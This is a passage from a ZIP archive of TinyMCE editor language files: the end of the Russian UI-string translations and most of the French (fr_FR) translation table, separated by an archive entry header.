"colon sign": "\u0434\u0432\u043e\u0435\u0442\u043e\u0447\u0438\u0435",
"cruzeiro sign": "\u043a\u0440\u0443\u0437\u0435\u0439\u0440\u043e",
"french franc sign": "\u0444\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u0438\u0439 \u0444\u0440\u0430\u043d\u043a",
"lira sign": "\u043b\u0438\u0440\u0430",
"mill sign": "\u043c\u0438\u043b\u043b\u044c",
"naira sign": "\u043d\u0430\u0438\u0440\u0430",
"peseta sign": "\u043f\u0435\u0441\u0435\u0442\u0430",
"rupee sign": "\u0440\u0443\u043f\u0438\u044f",
"won sign": "\u0432\u043e\u043d\u0430",
"new sheqel sign": "\u043d\u043e\u0432\u044b\u0439 \u0448\u0435\u043a\u0435\u043b\u044c",
"dong sign": "\u0434\u043e\u043d\u0433",
"kip sign": "\u043a\u0438\u043f",
"tugrik sign": "\u0442\u0443\u0433\u0440\u0438\u043a",
"drachma sign": "\u0434\u0440\u0430\u0445\u043c\u0430",
"german penny symbol": "\u043f\u0444\u0435\u043d\u043d\u0438\u043d\u0433",
"peso sign": "\u043f\u0435\u0441\u043e",
"guarani sign": "\u0433\u0443\u0430\u0440\u0430\u043d\u0438",
"austral sign": "\u0430\u0443\u0441\u0442\u0440\u0430\u043b\u044c",
"hryvnia sign": "\u0433\u0440\u0438\u0432\u043d\u0430",
"cedi sign": "\u0441\u0435\u0434\u0438",
"livre tournois sign": "\u0442\u0443\u0440\u0441\u043a\u0438\u0439 \u043b\u0438\u0432\u0440",
"spesmilo sign": "\u0441\u043f\u0435\u0441\u043c\u0438\u043b\u043e",
"tenge sign": "\u0442\u0435\u043d\u0433\u0435",
"indian rupee sign": "\u0438\u043d\u0434\u0438\u0439\u0441\u043a\u0430\u044f \u0440\u0443\u043f\u0438\u044f",
"turkish lira sign": "\u0442\u0443\u0440\u0435\u0446\u043a\u0430\u044f \u043b\u0438\u0440\u0430",
"nordic mark sign": "\u0441\u043a\u0430\u043d\u0434\u0438\u043d\u0430\u0432\u0441\u043a\u0430\u044f \u043c\u0430\u0440\u043a\u0430",
"manat sign": "\u043c\u0430\u043d\u0430\u0442",
"ruble sign": "\u0440\u0443\u0431\u043b\u044c",
"yen character": "\u0438\u0435\u043d\u0430",
"yuan character": "\u044e\u0430\u043d\u044c",
"yuan character, in hong kong and taiwan": "\u0413\u043e\u043d\u043a\u043e\u043d\u0433\u0441\u043a\u0438\u0439 \/ \u0422\u0430\u0439\u0432\u0430\u043d\u044c\u0441\u043a\u0438\u0439 \u044e\u0430\u043d\u044c",
"yen\/yuan character variant one": "\u0438\u0435\u043d\u0430\/\u044e\u0430\u043d\u044c",
"Loading emoticons...": "\u0417\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0441\u043c\u0430\u0439\u043b\u043e\u0432 ...",
"Could not load emoticons": "\u041d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0441\u043c\u0430\u0439\u043b\u044b",
"People": "\u041b\u044e\u0434\u0438",
"Animals and Nature": "\u0416\u0438\u0432\u043e\u0442\u043d\u044b\u0435 \u0438 \u041f\u0440\u0438\u0440\u043e\u0434\u0430",
"Food and Drink": "\u0415\u0434\u0430 \u0438 \u041d\u0430\u043f\u0438\u0442\u043a\u0438",
"Activity": "\u041c\u0435\u0440\u043e\u043f\u0440\u0438\u044f\u0442\u0438\u044f",
"Travel and Places": "\u041f\u0443\u0442\u0435\u0448\u0435\u0441\u0442\u0432\u0438\u044f \u0438 \u041c\u0435\u0441\u0442\u0430",
"Objects": "\u041e\u0431\u044a\u0435\u043a\u0442\u044b",
"Flags": "\u0424\u043b\u0430\u0433\u0438",
"Characters": "\u0421\u0438\u043c\u0432\u043e\u043b\u044b",
"Characters (no spaces)": "\u0421\u0438\u043c\u0432\u043e\u043b\u044b (\u0431\u0435\u0437 \u043f\u0440\u043e\u0431\u0435\u043b\u043e\u0432)",
"{0} characters": "{0} \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432",
"Error: Form submit field collision.": "\u041e\u0448\u0438\u0431\u043a\u0430: \u043d\u0435\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u043f\u043e\u043b\u044f \u0424\u043e\u0440\u043c\u044b \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438.",
"Error: No form element found.": "\u041e\u0448\u0438\u0431\u043a\u0430: \u044d\u043b\u0435\u043c\u0435\u043d\u0442 \u0444\u043e\u0440\u043c\u044b \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d.",
"Update": "\u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c",
"Color swatch": "\u041e\u0431\u0440\u0430\u0437\u0435\u0446 \u0446\u0432\u0435\u0442\u0430",
"Turquoise": "\u0411\u0438\u0440\u044e\u0437\u043e\u0432\u044b\u0439",
"Green": "\u0417\u0435\u043b\u0451\u043d\u044b\u0439",
"Blue": "\u0421\u0438\u043d\u0438\u0439",
"Purple": "\u0424\u0438\u043e\u043b\u0435\u0442\u043e\u0432\u044b\u0439",
"Navy Blue": "\u0422\u0435\u043c\u043d\u043e-\u0441\u0438\u043d\u0438\u0439",
"Dark Turquoise": "\u0422\u0435\u043c\u043d\u043e-\u0431\u0438\u0440\u044e\u0437\u043e\u0432\u044b\u0439",
"Dark Green": "\u0422\u0435\u043c\u043d\u043e-\u0437\u0435\u043b\u0435\u043d\u044b\u0439",
"Medium Blue": "\u0421\u0440\u0435\u0434\u043d\u0438\u0439 \u0441\u0438\u043d\u0438\u0439",
"Medium Purple": "\u0421\u0440\u0435\u0434\u043d\u0438\u0439 \u0444\u0438\u043e\u043b\u0435\u0442\u043e\u0432\u044b\u0439",
"Midnight Blue": "\u0422\u0435\u043c\u043d\u043e-\u0441\u0438\u043d\u0438\u0439",
"Yellow": "\u0416\u0435\u043b\u0442\u044b\u0439",
"Orange": "\u041e\u0440\u0430\u043d\u0436\u0435\u0432\u044b\u0439",
"Red": "\u041a\u0440\u0430\u0441\u043d\u044b\u0439",
"Light Gray": "\u0421\u0432\u0435\u0442\u043b\u043e-\u0441\u0435\u0440\u044b\u0439",
"Gray": "\u0421\u0435\u0440\u044b\u0439",
"Dark Yellow": "\u0422\u0435\u043c\u043d\u043e-\u0436\u0435\u043b\u0442\u044b\u0439",
"Dark Orange": "\u0422\u0435\u043c\u043d\u043e-\u043e\u0440\u0430\u043d\u0436\u0435\u0432\u044b\u0439",
"Dark Red": "\u0422\u0435\u043c\u043d\u043e-\u043a\u0440\u0430\u0441\u043d\u044b\u0439",
"Medium Gray": "\u0421\u0440\u0435\u0434\u043d\u0438\u0439 \u0441\u0435\u0440\u044b\u0439",
"Dark Gray": "\u0422\u0435\u043c\u043d\u043e-\u0441\u0435\u0440\u044b\u0439",
"Light Green": "\u0421\u0432\u0435\u0442\u043b\u043e-\u0437\u0435\u043b\u0435\u043d\u044b\u0439",
"Light Yellow": "\u0421\u0432\u0435\u0442\u043b\u043e-\u0436\u0435\u043b\u0442\u044b\u0439",
"Light Red": "\u0421\u0432\u0435\u0442\u043b\u043e-\u043a\u0440\u0430\u0441\u043d\u044b\u0439",
"Light Purple": "\u0421\u0432\u0435\u0442\u043b\u043e-\u0444\u0438\u043e\u043b\u0435\u0442\u043e\u0432\u044b\u0439",
"Light Blue": "\u0413\u043e\u043b\u0443\u0431\u043e\u0439",
"Dark Purple": "\u0422\u0435\u043c\u043d\u043e-\u0444\u0438\u043e\u043b\u0435\u0442\u043e\u0432\u044b\u0439",
"Dark Blue": "\u0422\u0435\u043c\u043d\u043e-\u0441\u0438\u043d\u0438\u0439",
"Black": "\u0427\u0435\u0440\u043d\u044b\u0439",
"White": "\u0411\u0435\u043b\u044b\u0439",
"Switch to or from fullscreen mode": "\u041f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u0432 \u0438\u043b\u0438 \u0438\u0437 \u043f\u043e\u043b\u043d\u043e\u044d\u043a\u0440\u0430\u043d\u043d\u043e\u0433\u043e \u0440\u0435\u0436\u0438\u043c\u0430",
"Open help dialog": "\u041e\u0442\u043a\u0440\u044b\u0442\u044c \u043e\u043a\u043d\u043e \u0441\u043f\u0440\u0430\u0432\u043a\u0438",
"history": "\u0438\u0441\u0442\u043e\u0440\u0438\u044f",
"styles": "\u0441\u0442\u0438\u043b\u0438",
"formatting": "\u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435",
"alignment": "\u0432\u044b\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043d\u0438\u0435",
"indentation": "\u043e\u0442\u0441\u0442\u0443\u043f\u044b",
"Font": "\u0428\u0440\u0438\u0444\u0442",
"Size": "\u0420\u0430\u0437\u043c\u0435\u0440",
"More...": "\u0415\u0449\u0451...",
"Select...": "\u0412\u044b\u0431\u0440\u0430\u0442\u044c...",
"Preferences": "\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438",
"Yes": "\u0414\u0430",
"No": "\u041d\u0435\u0442",
"Keyboard Navigation": "\u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043b\u0430\u0432\u0438\u0430\u0442\u0443\u0440\u044b",
"Version": "\u0412\u0435\u0440\u0441\u0438\u044f",
"Code view": "\u041f\u0440\u043e\u0441\u043c\u043e\u0442\u0440 \u043a\u043e\u0434\u0430",
"Open popup menu for split buttons": "\u041e\u0442\u043a\u0440\u044b\u0442\u044c \u0432\u0441\u043f\u043b\u044b\u0432\u0430\u044e\u0449\u0435\u0435 \u043c\u0435\u043d\u044e \u0434\u043b\u044f \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u043a\u043d\u043e\u043f\u043e\u043a",
"List Properties": "\u0421\u043f\u0438\u0441\u043e\u043a \u0441\u0432\u043e\u0439\u0441\u0442\u0432",
"List properties...": "\u0421\u043f\u0438\u0441\u043e\u043a \u0441\u0432\u043e\u0439\u0441\u0442\u0432...",
"Start list at number": "\u041d\u0430\u0447\u0430\u0442\u044c \u043d\u0443\u043c\u0435\u0440\u0430\u0446\u0438\u044e \u0441",
"Line height": "\u0412\u044b\u0441\u043e\u0442\u0430 \u0441\u0442\u0440\u043e\u043a\u0438",
"comments": "\u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0438",
"Format Painter": "\u0421\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435",
"Insert\/edit iframe": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c\/\u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0444\u0440\u0435\u0439\u043c",
"Capitalization": "\u0417\u0430\u0433\u043b\u0430\u0432\u043d\u044b\u0435 \u043f\u0435\u0440\u0432\u044b\u0435",
"lowercase": "\u043d\u0438\u0436\u043d\u0438\u0439 \u0440\u0435\u0433\u0438\u0441\u0442\u0440",
"UPPERCASE": "\u0412\u0415\u0420\u0425\u041d\u0418\u0419 \u0420\u0415\u0413\u0418\u0421\u0422\u0420",
"Title Case": "\u0420\u0435\u0433\u0438\u0441\u0442\u0440 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f",
"permanent pen": "\u0440\u0443\u0447\u043a\u0430",
"Permanent Pen Properties": "\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u043f\u0435\u0440\u043c\u0430\u043d\u0435\u043d\u0442\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0430",
"Permanent pen properties...": "\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u043f\u0435\u0440\u043c\u0430\u043d\u0435\u043d\u0442\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0430...",
"case change": "\u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430",
"page embed": "\u0432\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443",
"Advanced sort...": "\u0420\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u0430\u044f \u0441\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u043a\u0430...",
"Advanced Sort": "\u0420\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u0430\u044f \u0441\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u043a\u0430",
"Sort table by column ascending": "\u0421\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u043a\u0430 \u0442\u0430\u0431\u043b\u0438\u0446\u044b \u043f\u043e \u0441\u0442\u043e\u043b\u0431\u0446\u0443 \u043f\u043e \u0432\u043e\u0437\u0440\u0430\u0441\u0442\u0430\u043d\u0438\u044e",
"Sort table by column descending": "\u0421\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u043a\u0430 \u0442\u0430\u0431\u043b\u0438\u0446\u044b \u043f\u043e \u0441\u0442\u043e\u043b\u0431\u0446\u0443 \u043f\u043e \u0443\u0431\u044b\u0432\u0430\u043d\u0438\u044e",
"Sort": "\u0421\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c",
"Order": "\u041f\u043e\u0440\u044f\u0434\u043e\u043a",
"Sort by": "\u0421\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e",
"Ascending": "\u041f\u043e \u0432\u043e\u0437\u0440\u0430\u0441\u0442\u0430\u043d\u0438\u044e",
"Descending": "\u041f\u043e \u0443\u0431\u044b\u0432\u0430\u043d\u0438\u044e",
"Column {0}": "\u0421\u0442\u043e\u043b\u0431\u0435\u0446 {0}",
"Row {0}": "\u0421\u0442\u0440\u043e\u043a\u0430 {0}",
"Spellcheck...": "\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0440\u0430\u0432\u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044f...",
"Misspelled word": "\u0421\u043b\u043e\u0432\u043e \u0441 \u043e\u0448\u0438\u0431\u043a\u043e\u0439",
"Suggestions": "\u041f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u044f",
"Change": "\u0418\u0437\u043c\u0435\u043d\u0438\u0442\u044c",
"Finding word suggestions": "\u041f\u043e\u0438\u0441\u043a \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043e\u043a \u0434\u043b\u044f \u0441\u043b\u043e\u0432\u0430",
"Success": "\u0423\u0441\u043f\u0435\u0445",
"Repair": "\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c",
"Issue {0} of {1}": "\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 {0} \u0438\u0437 {1}",
"Images must be marked as decorative or have an alternative text description": "\u0418\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0434\u043e\u043b\u0436\u043d\u044b \u0431\u044b\u0442\u044c \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u044b \u0434\u0435\u043a\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u043c\u0438 \u0438\u043b\u0438 \u0434\u043e\u043b\u0436\u043d\u044b \u0438\u043c\u0435\u0442\u044c \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435",
"Images must have an alternative text description. Decorative images are not allowed.": "\u0418\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0434\u043e\u043b\u0436\u043d\u044b \u0438\u043c\u0435\u0442\u044c \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435. \u0414\u0435\u043a\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u043d\u0435\u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u044b.",
"Or provide alternative text:": "\u0418\u043b\u0438 \u0443\u043a\u0430\u0436\u0438\u0442\u0435 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435:",
"Make image decorative:": "\u041e\u0442\u043c\u0435\u0442\u0438\u0442\u044c \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u043a\u0430\u043a \u0434\u0435\u043a\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0435:",
"ID attribute must be unique": "\u0410\u0442\u0440\u0438\u0431\u0443\u0442 ID \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u043c",
"Make ID unique": "\u0421\u0434\u0435\u043b\u0430\u0442\u044c \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u043c",
"Keep this ID and remove all others": "\u041e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u0438 \u0443\u0431\u0440\u0430\u0442\u044c \u0432\u0441\u0435 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435",
"Remove this ID": "\u0423\u0434\u0430\u043b\u0438\u0442\u044c \u044d\u0442\u043e\u0442 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440",
"Remove all IDs": "\u0423\u0434\u0430\u043b\u0438\u0442\u044c \u0432\u0441\u0435 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b",
"Checklist": "\u0421\u043f\u0438\u0441\u043e\u043a \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438"
});PK
h�\X{s)I)I!program/js/tinymce/langs/fr_FR.jsnu�[���tinymce.addI18n('fr_FR',{
"Redo": "R\u00e9tablir",
"Undo": "Annuler",
"Cut": "Couper",
"Copy": "Copier",
"Paste": "Coller",
"Select all": "S\u00e9lectionner tout",
"New document": "Nouveau document",
"Ok": "OK",
"Cancel": "Annuler",
"Visual aids": "Aides visuelles",
"Bold": "Gras",
"Italic": "Italique",
"Underline": "Soulign\u00e9",
"Strikethrough": "Barr\u00e9",
"Superscript": "Exposant",
"Subscript": "Indice",
"Clear formatting": "Effacer la mise en forme",
"Align left": "Aligner \u00e0 gauche",
"Align center": "Centrer",
"Align right": "Aligner \u00e0 droite",
"Justify": "Justifier",
"Bullet list": "Liste \u00e0 puces",
"Numbered list": "Liste num\u00e9rot\u00e9e",
"Decrease indent": "R\u00e9duire le retrait",
"Increase indent": "Augmenter le retrait",
"Close": "Fermer",
"Formats": "Formats",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Votre navigateur ne supporte pas l\u2019acc\u00e8s direct au presse-papiers. Merci d'utiliser les raccourcis clavier Ctrl+X\/C\/V.",
"Headers": "En-t\u00eates",
"Header 1": "En-t\u00eate 1",
"Header 2": "En-t\u00eate 2",
"Header 3": "En-t\u00eate 3",
"Header 4": "En-t\u00eate 4",
"Header 5": "En-t\u00eate 5",
"Header 6": "En-t\u00eate 6",
"Headings": "Titres",
"Heading 1": "Titre\u00a01",
"Heading 2": "Titre\u00a02",
"Heading 3": "Titre\u00a03",
"Heading 4": "Titre\u00a04",
"Heading 5": "Titre\u00a05",
"Heading 6": "Titre\u00a06",
"Preformatted": "Pr\u00e9format\u00e9",
"Div": "Div",
"Pre": "Pre",
"Code": "Code",
"Paragraph": "Paragraphe",
"Blockquote": "Blockquote",
"Inline": "En ligne",
"Blocks": "Blocs",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "Le presse-papiers est maintenant en mode \"texte plein\". Les contenus seront coll\u00e9s sans retenir les formatages jusqu'\u00e0 ce que vous d\u00e9sactiviez cette option.",
"Fonts": "Polices",
"Font Sizes": "Tailles de police",
"Class": "Classe",
"Browse for an image": "Rechercher une image",
"OR": "OU",
"Drop an image here": "D\u00e9poser une image ici",
"Upload": "T\u00e9l\u00e9charger",
"Block": "Bloc",
"Align": "Aligner",
"Default": "Par d\u00e9faut",
"Circle": "Cercle",
"Disc": "Disque",
"Square": "Carr\u00e9",
"Lower Alpha": "Alpha minuscule",
"Lower Greek": "Grec minuscule",
"Lower Roman": "Romain minuscule",
"Upper Alpha": "Alpha majuscule",
"Upper Roman": "Romain majuscule",
"Anchor...": "Ancre...",
"Name": "Nom",
"Id": "Id",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "L'Id doit commencer par une lettre suivi par des lettres, nombres, tirets, points, deux-points ou underscores",
"You have unsaved changes are you sure you want to navigate away?": "Vous avez des modifications non enregistr\u00e9es, \u00eates-vous s\u00fbr de quitter la page?",
"Restore last draft": "Restaurer le dernier brouillon",
"Special character...": "Caract\u00e8re sp\u00e9cial...",
"Source code": "Code source",
"Insert\/Edit code sample": "Ins\u00e9rer \/ modifier une exemple de code",
"Language": "Langue",
"Code sample...": "Exemple de code...",
"Color Picker": "S\u00e9lecteur de couleurs",
"R": "R",
"G": "V",
"B": "B",
"Left to right": "Gauche \u00e0 droite",
"Right to left": "Droite \u00e0 gauche",
"Emoticons": "Emotic\u00f4nes",
"Emoticons...": "\u00c9motic\u00f4nes...",
"Metadata and Document Properties": "M\u00e9tadonn\u00e9es et propri\u00e9t\u00e9s du document",
"Title": "Titre",
"Keywords": "Mots-cl\u00e9s",
"Description": "Description",
"Robots": "Robots",
"Author": "Auteur",
"Encoding": "Encodage",
"Fullscreen": "Plein \u00e9cran",
"Action": "Action",
"Shortcut": "Raccourci",
"Help": "Aide",
"Address": "Adresse",
"Focus to menubar": "Cibler la barre de menu",
"Focus to toolbar": "Cibler la barre d'outils",
"Focus to element path": "Cibler le chemin vers l'\u00e9l\u00e9ment",
"Focus to contextual toolbar": "Cibler la barre d'outils contextuelle",
"Insert link (if link plugin activated)": "Ins\u00e9rer un lien (si le module link est activ\u00e9)",
"Save (if save plugin activated)": "Enregistrer (si le module save est activ\u00e9)",
"Find (if searchreplace plugin activated)": "Rechercher (si le module searchreplace est activ\u00e9)",
"Plugins installed ({0}):": "Modules install\u00e9s ({0}) : ",
"Premium plugins:": "Modules premium :",
"Learn more...": "En savoir plus...",
"You are using {0}": "Vous utilisez {0}",
"Plugins": "Plugins",
"Handy Shortcuts": "Raccourcis utiles",
"Horizontal line": "Ligne horizontale",
"Insert\/edit image": "Ins\u00e9rer\/modifier une image",
"Alternative description": "Description alternative",
"Accessibility": "Accessibilit\u00e9",
"Image is decorative": "L'image est d\u00e9corative",
"Source": "Source",
"Dimensions": "Dimensions",
"Constrain proportions": "Conserver les proportions",
"General": "G\u00e9n\u00e9ral",
"Advanced": "Avanc\u00e9",
"Style": "Style",
"Vertical space": "Espacement vertical",
"Horizontal space": "Espacement horizontal",
"Border": "Bordure",
"Insert image": "Ins\u00e9rer une image",
"Image...": "Image...",
"Image list": "Liste d'images",
"Rotate counterclockwise": "Rotation anti-horaire",
"Rotate clockwise": "Rotation horaire",
"Flip vertically": "Retournement vertical",
"Flip horizontally": "Retournement horizontal",
"Edit image": "Modifier l'image",
"Image options": "Options de l'image",
"Zoom in": "Zoomer",
"Zoom out": "D\u00e9zoomer",
"Crop": "Rogner",
"Resize": "Redimensionner",
"Orientation": "Orientation",
"Brightness": "Luminosit\u00e9",
"Sharpen": "Affiner",
"Contrast": "Contraste",
"Color levels": "Niveaux de couleur",
"Gamma": "Gamma",
"Invert": "Inverser",
"Apply": "Appliquer",
"Back": "Retour",
"Insert date\/time": "Ins\u00e9rer date\/heure",
"Date\/time": "Date\/heure",
"Insert\/edit link": "Ins\u00e9rer\/modifier un lien",
"Text to display": "Texte \u00e0 afficher",
"Url": "Url",
"Open link in...": "Ouvrir le lien dans...",
"Current window": "Fen\u00eatre active",
"None": "n\/a",
"New window": "Nouvelle fen\u00eatre",
"Open link": "Ouvrir le lien",
"Remove link": "Enlever le lien",
"Anchors": "Ancres",
"Link...": "Lien...",
"Paste or type a link": "Coller ou taper un lien",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "L'URL que vous avez entr\u00e9e semble \u00eatre une adresse e-mail. Voulez-vous ajouter le pr\u00e9fixe mailto: n\u00e9cessaire?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "L'URL que vous avez entr\u00e9e semble \u00eatre un lien externe. Voulez-vous ajouter le pr\u00e9fixe http:\/\/ n\u00e9cessaire?",
"The URL you entered seems to be an external link. Do you want to add the required https:\/\/ prefix?": "L'URL que vous avez saisie semble \u00eatre un lien externe. Voulez-vous ajouter le pr\u00e9fixe https:\/\/ requis\u00a0?",
"Link list": "Liste de liens",
"Insert video": "Ins\u00e9rer une vid\u00e9o",
"Insert\/edit video": "Ins\u00e9rer\/modifier une vid\u00e9o",
"Insert\/edit media": "Ins\u00e9rer\/modifier un m\u00e9dia",
"Alternative source": "Source alternative",
"Alternative source URL": "URL de la source alternative",
"Media poster (Image URL)": "Affiche de m\u00e9dia (URL de l'image)",
"Paste your embed code below:": "Collez votre code d'int\u00e9gration ci-dessous :",
"Embed": "Int\u00e9grer",
"Media...": "M\u00e9dia...",
"Nonbreaking space": "Espace ins\u00e9cable",
"Page break": "Saut de page",
"Paste as text": "Coller comme texte",
"Preview": "Pr\u00e9visualiser",
"Print...": "Imprimer...",
"Save": "Enregistrer",
"Find": "Chercher",
"Replace with": "Remplacer par",
"Replace": "Remplacer",
"Replace all": "Tout remplacer",
"Previous": "Pr\u00e9c\u00e9dente",
"Next": "Suiv",
"Find and Replace": "Trouver et remplacer",
"Find and replace...": "Trouver et remplacer...",
"Could not find the specified string.": "Impossible de trouver la cha\u00eene sp\u00e9cifi\u00e9e.",
"Match case": "Respecter la casse",
"Find whole words only": "Mot entier",
"Find in selection": "Trouver dans la s\u00e9lection",
"Spellcheck": "V\u00e9rification orthographique",
"Spellcheck Language": "Langue du correcteur orthographique",
"No misspellings found.": "Aucune faute d'orthographe trouv\u00e9e.",
"Ignore": "Ignorer",
"Ignore all": "Tout ignorer",
"Finish": "Finie",
"Add to Dictionary": "Ajouter au dictionnaire",
"Insert table": "Ins\u00e9rer un tableau",
"Table properties": "Propri\u00e9t\u00e9s du tableau",
"Delete table": "Supprimer le tableau",
"Cell": "Cellule",
"Row": "Ligne",
"Column": "Colonne",
"Cell properties": "Propri\u00e9t\u00e9s de la cellule",
"Merge cells": "Fusionner les cellules",
"Split cell": "Diviser la cellule",
"Insert row before": "Ins\u00e9rer une ligne avant",
"Insert row after": "Ins\u00e9rer une ligne apr\u00e8s",
"Delete row": "Effacer la ligne",
"Row properties": "Propri\u00e9t\u00e9s de la ligne",
"Cut row": "Couper la ligne",
"Copy row": "Copier la ligne",
"Paste row before": "Coller la ligne avant",
"Paste row after": "Coller la ligne apr\u00e8s",
"Insert column before": "Ins\u00e9rer une colonne avant",
"Insert column after": "Ins\u00e9rer une colonne apr\u00e8s",
"Delete column": "Effacer la colonne",
"Cols": "Colonnes",
"Rows": "Lignes",
"Width": "Largeur",
"Height": "Hauteur",
"Cell spacing": "Espacement inter-cellulles",
"Cell padding": "Espacement interne cellule",
"Caption": "Titre",
"Show caption": "Afficher le sous-titrage",
"Left": "Gauche",
"Center": "Centr\u00e9",
"Right": "Droite",
"Cell type": "Type de cellule",
"Scope": "Etendue",
"Alignment": "Alignement",
"H Align": "Alignement H",
"V Align": "Alignement V",
"Top": "Haut",
"Middle": "Milieu",
"Bottom": "Bas",
"Header cell": "Cellule d'en-t\u00eate",
"Row group": "Groupe de lignes",
"Column group": "Groupe de colonnes",
"Row type": "Type de ligne",
"Header": "En-t\u00eate",
"Body": "Corps",
"Footer": "Pied",
"Border color": "Couleur de la bordure",
"Insert template...": "Ins\u00e9rer un mod\u00e8le...",
"Templates": "Th\u00e8mes",
"Template": "Mod\u00e8le",
"Text color": "Couleur du texte",
"Background color": "Couleur d'arri\u00e8re-plan",
"Custom...": "Personnalis\u00e9...",
"Custom color": "Couleur personnalis\u00e9e",
"No color": "Aucune couleur",
"Remove color": "Supprimer la couleur",
"Table of Contents": "Table des mati\u00e8res",
"Show blocks": "Afficher les blocs",
"Show invisible characters": "Afficher les caract\u00e8res invisibles",
"Word count": "Nombre de mots",
"Count": "Total",
"Document": "Document",
"Selection": "S\u00e9lection",
"Words": "Mots",
"Words: {0}": "Mots : {0}",
"{0} words": "{0} mots",
"File": "Fichier",
"Edit": "Editer",
"Insert": "Ins\u00e9rer",
"View": "Voir",
"Format": "Format",
"Table": "Tableau",
"Tools": "Outils",
"Powered by {0}": "Propuls\u00e9 par {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Zone Texte Riche. Appuyer sur ALT-F9 pour le menu. Appuyer sur ALT-F10 pour la barre d'outils. Appuyer sur ALT-0 pour de l'aide.",
"Image title": "Titre d'image",
"Border width": "\u00c9paisseur de la bordure",
"Border style": "Style de la bordure",
"Error": "Erreur",
"Warn": "Avertir",
"Valid": "Valide",
"To open the popup, press Shift+Enter": "Pour ouvrir la popup, appuyez sur Maj+Entr\u00e9e",
